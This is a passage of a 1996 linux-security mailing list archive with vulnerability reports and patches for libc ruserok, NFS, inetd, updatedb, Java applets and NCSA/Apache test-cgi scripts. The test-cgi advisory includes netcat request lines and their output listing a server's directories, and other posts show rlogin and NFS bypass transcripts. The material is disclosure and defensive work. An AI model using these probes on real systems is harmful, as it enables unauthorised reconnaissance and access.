contents. These programs are as trustworthy as the system integrator who compiled, verified, and installed them (and as trustworthy as the least trustworthy program running with elevated privileges, but we'll leave weaknesses in the Unix security model aside for now). Without this assumption, the whole Unix security model goes away as there's nothing left. I merely proposed extending the set of trustworthy programs to include man pages that have the same characteristics as the binaries in /bin and friends. If the man page was installed by the system administrator, then it's probably OK to assume that any programs it invokes are programs that the system administrator approves of--otherwise, why did the system administrator install them in the first place? Educating sysadmins, of course, is a separate problem. ;-) Of course, as I pointed out a few times by now, a privileged 'man' program has to be able to distinguish between man pages installed by the sysadmin and man pages presented to it by random users, to determine whether it should use its privileges to write cache pages. > Either we prohibit the use > of ".sy" in manual pages, or we find a way to support them safely. We > don't *assume* they don't exist or can be safely ignored, we *find > out*. I just checked my (RedHat 3.0.3, all packages installed) man page database for '.sy', '.pi', and '.open'. None of these seem to be used in man pages (except '.open', which appears twice in the gtroff(1) man page, but as data--it occurs in the middle of its own documentation). It would therefore seem to be safe to reject these requests in the special case of man pages. Are there any packages that have *man pages* that use these features, and if so, how difficult would it be to wean them off of .sy and friends? (I would imagine a quick shell script run at install time could generate a .sy-free version of the man page). > Personally, I like the idea of a man page client and server. :) -- Zygo Blaxell. Former Unix/soft/hardware guru, U of Waterloo Computer Science Club. Current sysadmin for Myrus Design, Inc. 10th place, ACM Intl Collegiate Programming Contest Finals, 1994. Administer Linux nets for food, clothing, and anime. "I gave up $1000 to avoid working on windoze... *sigh*" - Amy Fong From [email protected] Wed Apr 17 19:12:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id TAA13084; Wed, 17 Apr 1996 19:12:13 -0400 Date: Tue, 16 Apr 1996 18:53:21 -0500 (CDT) From: Earth Fire Wind Water To: [email protected] Subject: [linux-security] samba security hole... In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I know this might not be a good place to ask this but I have heard of a rumour of a big security hole with samba... is there any truth to this and if so can someone point me to look for documentation on this? Jimmy Leow [Mod: Please direct replies to the author and not to the mailing list. A summary of the replies may be posted to the list if there is sufficient content. --Jeff.] linux-security/linux-security.960418100664 1767 1767 3071 6135427600 16632 0ustar majdommajdomFrom [email protected] Thu Apr 18 08:03:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id IAA17545; Thu, 18 Apr 1996 08:03:11 -0400 From: [email protected] Date: Wed, 17 Apr 1996 23:14:31 -0700 (PDT) >From: Kit Knox X-Sender: kit@connectnet1 To: [email protected] Subject: [linux-security] TCP Security Bug *READ ASAP* Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Here is an unofficial patch I would suggest using to prevent kernel panic's from specially constructed TCP packets until an official patch becomes available. I have sent exploit information into Linus and Alan so something official shouldnt be too far off. I will make exploit information available publically as soon as I get official word back from Alan & Linus. --- linux/net/ipv4/ip_options.c Wed Apr 17 21:39:44 1996 +++ linux/net/ipv4/ip_options.c.old Wed Apr 17 21:39:44 1996 @@ -281,7 +281,6 @@ } switch (*optptr) { -#ifdef USE_BROKEN_SR case IPOPT_SSRR: case IPOPT_LSRR: if (optlen < 3) @@ -347,7 +346,6 @@ } opt->rr = optptr - iph; break; -#endif case IPOPT_TIMESTAMP: if (opt->ts) { +-----------------------------------------+ | Kit Knox - System Administrator | | CONNECTnet - http://www.connectnet.com/ | +-----------------------------------------+ linux-security/linux-security.960420100664 1767 1767 3154 6136174520 16626 0ustar majdommajdomFrom [email protected] Sat Apr 20 10:48:43 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id KAA32723; Sat, 20 Apr 1996 10:48:43 -0400 Date: Fri, 19 Apr 1996 12:20:03 +1000 Message-Id: <[email protected]> From: Andrew Tridgell To: [email protected] In-reply-to: (message from Earth Fire Wind Water on Tue, 16 Apr 1996 18:53:21 -0500 (CDT)) Subject: [linux-security] Re: Alinux-securityA samba security hole... Reply-to: [email protected] Sender: [email protected] Precedence: list > From: Earth Fire Wind Water > > I know this might not be a good place to ask this but I have heard of a > rumour of a big security hole with samba... is there any truth to this > and if so can someone point me to look for documentation on this? It turns out that this rumour originated from a magazine article. It almost certainly was one of the bunch of magazine articles on the microsoft windows "cd ..." bug which can be exploited using smbclient. Smbclient comes with samba. The microsoft PR people managed to twist their announcement of this bug to make it sound like a samba bug. I have subsequently received apologies from senior MS people. If you are interested in this bug or other related bugs have a look at http://samba.canberra.edu.au/pub/samba If anyone knows of any real security holes in samba then please let me know. I try to be very careful about security issues in samba. Andrew linux-security/linux-security.960421100664 1767 1767 5114 6136564317 16634 0ustar majdommajdomFrom [email protected] Sun Apr 21 22:02:54 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id WAA05727; Sun, 21 Apr 1996 22:02:54 -0400 X-Authentication-Warning: blackfire.com: jmaslak owned process doing -bs Date: Sun, 21 Apr 1996 15:15:40 -0600 (MDT) From: Joel Maslak X-Sender: [email protected] To: [email protected], [email protected], [email protected], [email protected] Subject: [linux-security] WARNING: libc/ruserok security hole Message-ID: Organization: Not Likely! MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list libc 5.3.9 has a major security bug in it. It affects rlogin/rsh. Scope: If your system uses rlogin/rsh, local and remote users may rsh/rlogin to an arbitrary account on your system. Fix: Method (1): downgrade libc. I know 5.0.9 is secure. Method (2): add user name specifications to all .rhosts files. I.E.: .rhosts: plains.uwyo.edu jmaslak NOT: plains.uwyo.edu Without a user specification, libc-5.3.9 IS INSECURE!! Method (3): remove in.rlogind and in.rshd from /etc/inetd.conf This affects ALL distributions and ALL versions of rlogin/rsh/login. If you need more info, contact [email protected]. At the bottom of this message is a transcript of a session. I telneted to a UW system, where my user name was jmaslak. I was able to rlogin DIRECTLY into the monitor account on blackfire.com, WITHOUT ENTERING A PASSWORD. The problem lies in the ruserok() function in libc. As always, it's recommended that ALL users change their passwords on an affected system. Joel Maslak Motto of the Bomb Squad: If you see us running, you better catch up. ---- Trying 129.72.254.219... Connected to horseman.uwyo.edu. Escape character is '^]'. OSF/1 (horseman.uwyo.edu) (ttyp9) login: jmaslak Password: Last successful login for jmaslak: Sun Apr 21 14:31:13 1996 from 129.72.170.126 Last unsuccessful login for jmaslak: Sun Apr 21 14:40:39 1996 on ttyp9 horseman.uwyo.edu> who am i jmaslak ttyp9 Apr 21 14:40 horseman.uwyo.edu> rlogin blackfire.com -l monitor Last login: Sun Apr 21 14:06:57 on ttyp0 from horseman.uwyo.e Linux 1.3.93.pentium.jcm -- Greased HeadgeHog on Steroids No mail. Tact is the ability to tell a man he has an open mind when he has a hole in his head. blackhole:~> whoami monitor blackhole:~> cat .rhosts localhost horseman.uwyo.edu blackhole:~> linux-security/linux-security.960422100664 1767 1767 10776 6136655107 16665 0ustar majdommajdomFrom [email protected] Mon Apr 22 04:03:16 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id EAA07498; Mon, 22 Apr 1996 04:03:16 -0400 From: [email protected] Date: Sun, 21 Apr 1996 19:14:09 -0700 (MST) >From: "Jeff Coy Jr." To: Joel Maslak cc: [email protected], [email protected], [email protected], [email protected] Subject: [linux-security] Re: WARNING: libc/ruserok security hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Sun, 21 Apr 1996, Joel Maslak wrote: > > libc 5.3.9 has a major security bug in it. It affects rlogin/rsh. > > Scope: If your system uses rlogin/rsh, local and remote users may > rsh/rlogin to an arbitrary account on your system. > > Fix: > Method (1): downgrade libc. I know 5.0.9 is secure. > Method (2): add user name specifications to all .rhosts files. > > I.E.: .rhosts: > plains.uwyo.edu jmaslak > > NOT: > plains.uwyo.edu > um... this might not be enough. i was able to rlogin to every other account on my machine (except root) with: rlogin localhost -l even when i put in the user name specification. it didn't matter if there was a .rhosts file there or not. taking "localhost" out of /etc/hosts.equiv fixed that tho. and some (most?) distributions come with localhost in there... jeff --- Why Linux? source code. POSIX. tcpip. job control. support from the authors. drivers for most hardware. because one terminal or process is never enough. forget the other O/Ss, i use Linux- the choice of a GNU generation. From [email protected] Mon Apr 22 06:02:42 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id GAA07860; Mon, 22 Apr 1996 06:02:42 -0400 To: [email protected] Cc: [email protected], [email protected] Subject: [linux-security] Re: WARNING: libc/ruserok security hole References: X-Url: http://www.miranova.com/%7Esteve/ Mail-Copies-To: never From: Steven L Baur In-Reply-To: Joel Maslak's message of 21 Apr 1996 14:15:40 -0700 Mime-Version: 1.0 (generated by tm-edit 7.52) Content-Type: text/plain; charset=US-ASCII Date: 22 Apr 1996 00:13:10 -0700 Message-ID: Lines: 28 X-Mailer: September Gnus v0.77/XEmacs 19.13 Sender: [email protected] Precedence: list >>>>> "Joel" == Joel Maslak writes: Joel> libc 5.3.9 has a major security bug in it. It affects rlogin/rsh. Joel> Scope: If your system uses rlogin/rsh, local and remote users may Joel> rsh/rlogin to an arbitrary account on your system. Joel> Fix: Joel> Method (1): downgrade libc. I know 5.0.9 is secure. Joel> Method (2): add user name specifications to all .rhosts files. Joel> I.E.: .rhosts: Joel> plains.uwyo.edu jmaslak Joel> NOT: Joel> plains.uwyo.edu Joel> Without a user specification, libc-5.3.9 IS INSECURE!! This bug affects 5.3.11 as well, and does not require .rhosts -- hosts.equiv triggers the same thing. Removing the -DYP from Makeconfig, and rebuilding libc seems to cure this problem. -- [email protected] baur Unsolicited commercial e-mail will be proofread for $250/hour. Andrea Seastrand: For your vote on the Telecom bill, I will vote for anyone except you in November. From [email protected] Mon Apr 22 06:07:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id GAA07880; Mon, 22 Apr 1996 06:07:00 -0400 From: [email protected] Date: Mon, 22 Apr 1996 10:38:02 +0200 To: [email protected] Subject: [linux-security] WARNING: libc/ruserok security hole (fwd) Reply-To: [email protected] Newsgroups: linux.dev.gcc In-Reply-To: Organization: =?ISO-8859-1?Q?Universit=E4t_Karlsruhe_(TH),_Germany_?= Message-ID: <"nz11.rz.un.424:22.04.96.08.38.54"@rz.uni-karlsruhe.de> Sender: [email protected] Precedence: list Ouch. Apparently, /etc/hosts.equiv is also insecure. [Mod: Attached forward of Joel Maslak's post trimmed off. --Jeff.] linux-security/linux-security.960424100664 1767 1767 14410 6137504205 16645 0ustar majdommajdomFrom [email protected] Wed Apr 24 06:03:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id GAA16888; Wed, 24 Apr 1996 06:03:00 -0400 From: [email protected] Date: Tue, 23 Apr 1996 16:46:09 -0400 (EDT) >From: "Mr. Policy" To: [email protected] Subject: [linux-security] BoS: test-cgi problem (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Here is something that everyone should be aware of. Please see my notes at the end of the message for information on other repercussions/problems that the test-cgi script has... *=UNIX*=*=Programming=*=*__INTERESTS__*=*=*=Internet*=*=Graphics*=*=WWW=* Elliot Lee | Computer Science Student | 7600 Flower Ave. [email protected] | Columbia Union College | Takoma Park, MD 20912 USA http://www.cs.cuc.edu/~sopwith/ | (301) 891-4260 ---------- Forwarded message ---------- >From: Mudge (uberhuman?) L0pht Report test-cgi vulnerability in certain setups Affected Program: test-cgi scripts found on various web servers. Severity: Anyone can remotely inventory the files on a machine. Author: [email protected] Synopsis: On many web sites there exists a file called test-cgi (usually in the cgi-bin directory or somewhere similar). There is a problem with many of these test-cgi files. If your test-cgi file contains the following line (verbatim) then you are probably vulnerable. echo QUERY_STRING = $QUERY_STRING All of these lines should have the variables enclosed in loose quotes ("). Without these quotes certain special characters (specifically '*') get expanded where they shouldn't. Thus submitting a query of '*' will return the contents of the current directory (probably where all of the cgi files are... gee, there's jj and phf. Hmmm what are all those other cgi's that I haven't seen... wonder what holes exist in those?). Sending in a query of '/*' will list the root directory. And so on, and so on. This is the same as doing `echo *` when you've blown away 'ls' (not that this ever happens to anyone ). The easiest way to list out the directories is via the query string. However, it is possible to do the same thing through many of the other variables (ie $REMOTE_HOST, $REMOTE_USER, etc.) in the right situations. Fix: The quick fix is to place loose quotes around all of the variables in the test-cgi file (they should have been there from the beginning!). echo QUERY_STRING = "$QUERY_STRING" This incorrect file has been seen in at least several versions of NCSA, and Apache. Example exploit: Below are examples (nc is netcat from avian.org, if you don't have it you should get it as it is an invaluable tool. You can always just telnet to port 80 and type in the GET... command.) ------------------ machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80 CGI/1.0 test script report: argc is 1. argv is /\*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = removed.name.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt /root /sbin /stand /sys /tmp /usr /usr2 /var REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = ------------------ Or to see what other cgi-goodies are still floating around... ------------------ machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80 CGI/1.0 test script report: argc is 1. argv is \*. SERVER_SOFTWARE = NCSA/1.4.1 SERVER_NAME = removed.name.com GATEWAY_INTERFACE = CGI/1.1 SERVER_PROTOCOL = HTTP/0.9 SERVER_PORT = 80 REQUEST_METHOD = GET HTTP_ACCEPT = PATH_INFO = PATH_TRANSLATED = SCRIPT_NAME = /bin/cgi-bin/test-cgi QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html mail-query mail-query-2 majordomo majordomo.cf marker.cgi menu message.cgi munger.cgi munger.note ncsa-default.tar post-query query smartlist.cf src subscribe.cf test-cgi uptime REMOTE_HOST = remote.machine.com REMOTE_ADDR = 255.255.255.255 REMOTE_USER = AUTH_TYPE = CONTENT_TYPE = CONTENT_LENGTH = ----- end forwarded message ----- The author did not find/mention another problem with the test-cgi script - it's not just the '$QUERY_STRING' that should be quoted, it's all the variables. For example, I typed the following command line: lynx http://localhost/cgi-bin/test-cgi?' /* ' and got 'QUERY_STRING = ', and a 'SERVER_PROTOCOL = ... HTTP/1.0', with the '...' being a listing all the files in the root directory of the web server. This was on Apache 1.0.3 or 1.0.5 - attempts at this on any NCSA servers failed...? From [email protected] Wed Apr 24 16:01:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id QAA00810; Wed, 24 Apr 1996 16:01:07 -0400 Date: Wed, 24 Apr 1996 21:29:05 +0200 (MET DST) From: Swen Thuemmler To: Linux GCC cc: Linux Security Subject: Re: [linux-security] WARNING: libc/ruserok security hole In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list The patch below takes care of the problem. Greetings, Swen --- libc/inet/rcmd.c.orig Wed Feb 14 09:25:21 1996 +++ libc/inet/rcmd.c Wed Apr 24 21:26:49 1996 @@ -425,10 +425,10 @@ else if (user[0] == '-') uservalid = -uservalid; else if (user[0] != '+') - uservalid = !strcmp(ruser, *user ? user : luser); + uservalid = !strcmp(ruser, user); } else - uservalid = 1; /* no user means all users */ + uservalid = !strcmp(ruser, luser); /* no user means local user */ if (hostvalid) if (uservalid == 1) linux-security/linux-security.960426100664 1767 1767 4211 6140133315 16617 0ustar majdommajdomFrom [email protected] Fri Apr 26 07:43:08 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id HAA10936; Fri, 26 Apr 1996 07:43:08 -0400 Date: Thu, 25 Apr 1996 03:25:19 -1000 (HST) From: Jordy To: [email protected] Subject: [linux-security] locate & updatedb In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list i'm curious about locate and updatedb. From the standard installation of slackware 3.0, it looks like any users can pull up the contents of any directory they choose. Take this example: #id uid=509(jordy) gid=100(users) groups=100(users) #ls -l /usr |grep admin drwx------ 2 root users 1024 Apr 25 08:15 admin/ #locate admin /usr/admin /usr/admin/bar /usr/admin/foo ------------------ END INFO ------------ i've noticed this problem for quite a while. updatedb is standard in the crontab of root, so it can enter any directories root can enter. An easy fix is to simply run it as another user, or disable locate all together. ,'~``. ,'``~. ( o o ) ,( o o ), +--.oooO--(_)--Oooo.--------------------.oooO--(_)--Oooo.----+ | http://www.lava.net/~jordy/index.html | | There are people in this world that look at art but can't | | see it. There are also people who listen to music but | | don't hear it. I feel sorry for those who look and | | listen and envious of those who can see and hear. | | | | [Chief Network Admin For Thirdwave.Net & Really Nifty Guy] | | .oooO [email protected] & Oooo. | | ( ) Oooo. [email protected] .oooO ( ) | +-----\ (----( )------------------------( )--- ) /-------+ \_) ) / \ ( (_/ (_/ \_) linux-security/linux-security.960429100664 1767 1767 5775 6141164227 16651 0ustar majdommajdomFrom [email protected] Mon Apr 29 12:04:34 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id MAA20433; Mon, 29 Apr 1996 12:04:34 -0400 From: [email protected] Message-Id: Subject: Re: [linux-security] locate & updatedb To: [email protected] (Jordy) Date: Fri, 26 Apr 1996 17:25:42 +0200 (MDT) >From: "Daniel Roedding" Cc: [email protected] In-Reply-To: from "Jordy" at Apr 25, 96 03:25:19 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 702 Sender: [email protected] Precedence: list Hi! Jordy wrote: > i'm curious about locate and updatedb. From the standard installation of > slackware 3.0, it looks like any users can pull up the contents of any > directory they choose. [...] > i've noticed this problem for quite a while. updatedb is standard in the > crontab of root, so it can enter any directories root can enter. An easy > fix is to simply run it as another user, or disable locate all together. This is an old, known problem. If you really want to use locate/updatedb, run updatedb from a *really* unprivileged uid. Daniel -- Daniel Roedding [email protected] INTJ Padertown City +49-5251-541965 voice, 541334 data http://www.owl.de From [email protected] Mon Apr 29 12:04:38 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id MAA20446; Mon, 29 Apr 1996 12:04:38 -0400 From: [email protected] Date: Sat, 27 Apr 1996 05:27:33 -0400 (EDT) >From: Peter DeNitto - BridgeNet To: [email protected] Subject: Re: [linux-security] locate & updatedb In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list [mod: quoting trimmed. --okir] On Thu, 25 Apr 1996, Jordy wrote: > i've noticed this problem for quite a while. updatedb is standard in the > crontab of root, so it can enter any directories root can enter. An easy > fix is to simply run it as another user, or disable locate all together. Taken from the updatedb man page: --prunepaths='path1 path2...' Directories to not put in the database, which would otherwise be. Default is /tmp /usr/tmp /var/tmp /afs. So, an implementation of: updatedb --prunepaths='/usr/admin /root' would be a good start. "We had it tough ... I had to get up at 9 o'clock at night, half an hour before I went to bed, eat a lump of dry poison, work 29 hours down mill, and when we came home our Dad would kill us, and dance about on our grave singing Haleleuia ..." -- Monty Python linux-security/linux-security.960502100664 1767 1767 26651 6142207132 16647 0ustar majdommajdomFrom [email protected] Thu May 2 12:51:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id MAA13409; Thu, 2 May 1996 12:51:28 -0400 From: Chris Farris Message-Id: <[email protected]> Subject: [linux-security] Denial of service in inetd To: [email protected] Date: Thu, 2 May 1996 11:59:00 -0400 (EDT) Cc: [email protected] (Chris Farris), [email protected] (Michael Warfield) Reply-To: [email protected] X-Mailer: ELM [version 2.4 PL24 PGP2] Content-Type: text Content-Length: 800 Sender: [email protected] Precedence: list We have uncovered some potential problems with the time and daytime services under inetd. If you send these services the "SYN" packet and then reset the connection before the connection is open, it will cause inetd to die completly. This could be a fairly nasty denial of service attack if you use any of the services in inetd, and a firewall may not protect you if the filter rules do not filter out those packets. I'd recomend everyone here comment out the TCP (stream) versions of these services. Chris -- Chris Farris | Voice: (404)252-7270 Internet Security Systems, Inc. | Fax: (404)252-2427 Ste. 115, 5871 Glenridge Dr, | www: http://www.iss.net/ Atlanta, GA 30328 | Email: [email protected] 1st rule of computer security: What You Don't See Is What Gets You From [email protected] Thu May 2 12:55:06 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id MAA13436; Thu, 2 May 1996 12:55:06 -0400 Date: Thu, 2 May 1996 11:37:46 +0300 (GMT+0300) From: Arik Baratz Reply-To: [email protected] To: [email protected] Subject: [linux-security] NFS security bug Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list I don't know if this had been around or not, but my newly installed Slackware 3.0.0 linux shows this behaviour: ccarik /home/arikb>su - Password: ccarik /root# cat /etc/exports # See exports(5) for a description. # This file contains a list of all directories exported to other computers. # It is used by rpc.nfsd and rpc.mountd. /home/arikb ccarik(ro,root_squash) ccarik /root# rpc.mountd ; rpc.nfsd ccarik /root# mount ccarik:/home/arikb /mnt ccarik /root# cd /mnt ccarik /mnt# ls -al xxx -rwxrwxrwx 1 arikb users 29 Apr 7 15:27 xxx* ccarik /mnt# cat > yyy yyy: Read-only file system. ccarik /mnt# cat .rhosts blabla blablabla2 blablabla3 ccarik /mnt# cat >> xxx blablabla4 ccarik /mnt# cat xxx blabla blablabla2 blablabla3 blablabla4 ccarik /mnt# This means also .rhosts exploits, small addition to system scripts, etc. etc., while the sysamin believes his system is mounted only "read-only"... Moving over to nfs-server-2.2beta4 solved this one. --------------------------------------------- ....- --.. ----. -.. --. . Arik Baratz, Regularus Studentus, iNTP, 4Z9DGE --------------------------------------------------------------------------- "Your conscious mind is very intelligent, and your unconscious mind is a hell of a lot smarter than you are." - Erickson H. Milton http://ccarik.technion.ac.il/~arikb From [email protected] Thu May 2 13:18:21 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id NAA13510; Thu, 2 May 1996 13:18:21 -0400 Date: Thu, 2 May 1996 12:50:11 -0400 Message-Id: <[email protected]> From: Jeff Uphoff To: [email protected], [email protected] Subject: [linux-security] Yet Another Java Hole. X-Spook: marijuana KGB domestic terrorism X-Mailer: VM 5.95 (beta); GNU Emacs 19.29.1 X-Attribution: Up Sender: [email protected] Precedence: list Not Linux-specific, but there are enough Linuxers running Web browsers to make this a potential threat to a large number of Linux systems. --Up. ------- start of forwarded message (RFC 934 encapsulation) ------- Excerpted from RISKS 18.08. - ------------ Date: Sun, 28 Apr 1996 03:42:49 +0000 (BST) >From: David Hopwood Subject: Another way to run native code from Java applets In addition to the security bug found by Drew Dean, Ed Felten and Dan Wallach in March, there is another way to run native code from a Java applet, which will require a separate fix to the current versions of Netscape (2.01 and Atlas PR2) and Sun's Java Development Kit (1.01). Both this attack and the previous one rely on an applet being able to create an instance of the same security-sensitive class, but each does so using an independent hole in the bytecode verifier. Once an applet is able to run native code, it can read, write, and execute any local file, with the permissions of the browser. These attacks do not require any additional preconditions, other than viewing the attacker's web page with Java enabled. They can be done without the user's knowledge. Summary of Java bugs found so far ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Date Found by Fixed in Effects - --------- ------ ---------- ------- Oct 30 95 DFW not fixed Various - see in HotJava ftp://ftp.cs.princeton.edu/reports/1995/501.ps.Z Feb 18 96 DFW/SG 1.01/2.01 Applets can exploit DNS spoofing to connect to machines behind firewalls Buffer overflow bug in javap Mar 2 96 DH 1.01/2.01 win32/MacOS: Applets can run native code UNIX: Ditto, provided certain files can be created on the client Mar 22 96 DFW not fixed Applets can run native code Mar 22 96 EW not fixed If host names are unregistered, applets may be able to connect to them Apr 27 96 DH not fixed Applets can run native code There was also a separate bug in beta versions of Netscape 2.0 which, in hindsight, would have allowed applets to run native code. [DFW = Drew Dean, Ed Felten, Dan Wallach http://www.cs.princeton.edu/sip/News.html SG = Steve Gibbons http://www.aztech.net/~steve/java/ DH = David Hopwood http://ferret.lmh.ox.ac.uk/~david/java/ EW = Eric Williams http://www.sky.net/~williams/java/javasec.html Dates indicate when the problem was first posted to RISKS, except for Eric Williams' bug, which has not been posted.] For bugs in Javascript, see John LoVerso's page http://www.osf.org/~loverso/javascript/ These include the ability to list any local directory (apparently fixed in Atlas PR2), and a new version of the real-time history tracker. Additional information on the March 2nd absolute pathname bug is now available from http://ferret.lmh.ox.ac.uk/~david/java/ Recommended actions ~~~~~~~~~~~~~~~~~~~ Netscape (2.0beta*, 2.0, 2.01): Disable Java (on all platforms except Windows 3.1x), and if possible Javascript, using the Security Preferences dialogue in the Options menu. Note that the section on security in the Netscape release notes is not up-to-date. Netscape (Atlas PR1, PR2): As above, except that the options to disable Java and Javascript have moved to the Languages tab in the Network Preferences dialogue. Appletviewer (JDK beta*, 1.0, 1.01): Do not use appletviewer to load applets from untrusted hosts. HotJava (alpha*): Sun no longer supports HotJava alpha, and does not not intend to fix any of its security holes until a beta version is released. David Hopwood [email protected] ------- end ------- From [email protected] Thu May 2 15:34:17 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id PAA21076; Thu, 2 May 1996 15:34:17 -0400 From: Al Longyear To: linux-security Subject: [linux-security] Reminder: Please include revisions when you report problems Date: Thu, 02 May 96 12:20:00 PDT Message-ID: <[email protected]> Encoding: 31 TEXT X-Mailer: Microsoft Mail V3.0 Sender: [email protected] Precedence: list This is not really a security issue. However, it is important to the general readers none the less as it relates to the ability to recognize the problem and to determine if you are experiencing the difficulties. I am sure that in the 'heat of the moment' that some people find when they discover a problem with the security of your system which may cause you to leave out some small piece of critical information. However, if you are going to say that "such and such does not work with Linux" then please, please, include the revision information for both Linux kernel and the "such and such" (if it is not the kernel itself). Linux has two main branches for the kernels. Each has their own characteristics. The developmental branch has many, many revisions to it. Each revision defines the particular problems and what it will support. If you are going to say that there is a problem with the networking of the Linux kernel then it is important, if not critical, to include the definition of the problem and the revision of the kernel that you are reporting. I am not trying to name names. I am only asking that when you do report a problem that you include all of the information -- and the kernel revision that you are using. Without that information, the problem probably could not be re-created, identified, and almost certainly can not be fixed. Thank you. -- Al Longyear [email protected] [email protected] From [email protected] Thu May 2 15:34:48 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id PAA21104; Thu, 2 May 1996 15:34:48 -0400 Message-Id: <[email protected]> To: [email protected] Subject: Re: [linux-security] Denial of service in inetd In-reply-to: Your message of "Thu, 02 May 1996 11:59:00 EDT." <[email protected]> Date: Thu, 02 May 1996 14:21:00 -0400 From: "Alexander O. Yuriev" Sender: [email protected] Precedence: list Your message dated: Thu, 02 May 1996 11:59:00 EDT > We have uncovered some potential problems with the time and daytime > services under inetd. > > If you send these services the "SYN" packet and then reset the connection > before the connection is open, it will cause inetd to die completly. > > This could be a fairly nasty denial of service attack if you use any of the > services in inetd, and a firewall may not protect you if the filter rules > do not filter out those packets. > > I'd recomend everyone here comment out the TCP (stream) versions of these > services. This type of attack is not limited to either Linux or daytime/tcp services. Such attack can be successfully performed against virtually every service started from or perfromed by inetd. The better solution is to remove all unused servies from inetd. It could be also advised that services that more-or-less duplicate functionality of other servers should be removed. Best wishes, Alex linux-security/linux-security.960503100664 1767 1767 5707 6142373455 16643 0ustar majdommajdomFrom [email protected] Fri May 3 08:03:36 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id IAA00712; Fri, 3 May 1996 08:03:36 -0400 Message-Id: <[email protected]> X-Authentication-Warning: toad.com: Host localhost [127.0.0.1] didn't use HELO protocol To: [email protected], [email protected] Subject: Re: [linux-security] locate & updatedb In-reply-to: Date: Thu, 02 May 1996 23:13:41 -0700 From: John Gilmore Sender: [email protected] Precedence: list > i've noticed this problem for quite a while. updatedb is standard in the > crontab of root, so it can enter any directories root can enter. An easy > fix is to simply run it as another user, or disable locate all together. > [or use --prunepaths=...] I think a more durable solution would be to add a call to access() in the locate command. Before returning any file name on stdout, locate would check that it is accessible to the user who's running locate. This not only allows a full root `find' in updatedb, but also has the nice side effect of eliminating files from locate's output if they have been deleted or made inaccessible since updatedb was run by cron. John Gilmore From [email protected] Fri May 3 08:08:11 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.7 $) id IAA00753; Fri, 3 May 1996 08:08:11 -0400 Date: Fri, 3 May 1996 02:30:25 -0400 (EDT) From: Eric John Kuzniar To: [email protected] Subject: [linux-security] sh-utils-1.12+security In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list This is the standard sh-utils-1.12 source distributions with a couple additions to su. One is implementation for the wheel group. Persons in the wheel group (as defined in /etc/group) are the only ones allowed to su to root. It also has some code to prevent a user from using an old password to login, a design flaw in most implementations of su which is commonly exploited with a combination of social engineering. What follows it the lsm for this package. Eric Kuzniar Begin3 Title: sh-utils-1.12+security.tar.gz Version: Fri Apr 26 01:21:48 EDT 1996 Entered-date: 02MAY96 Description: This is the sh-utils-1.12 package with a 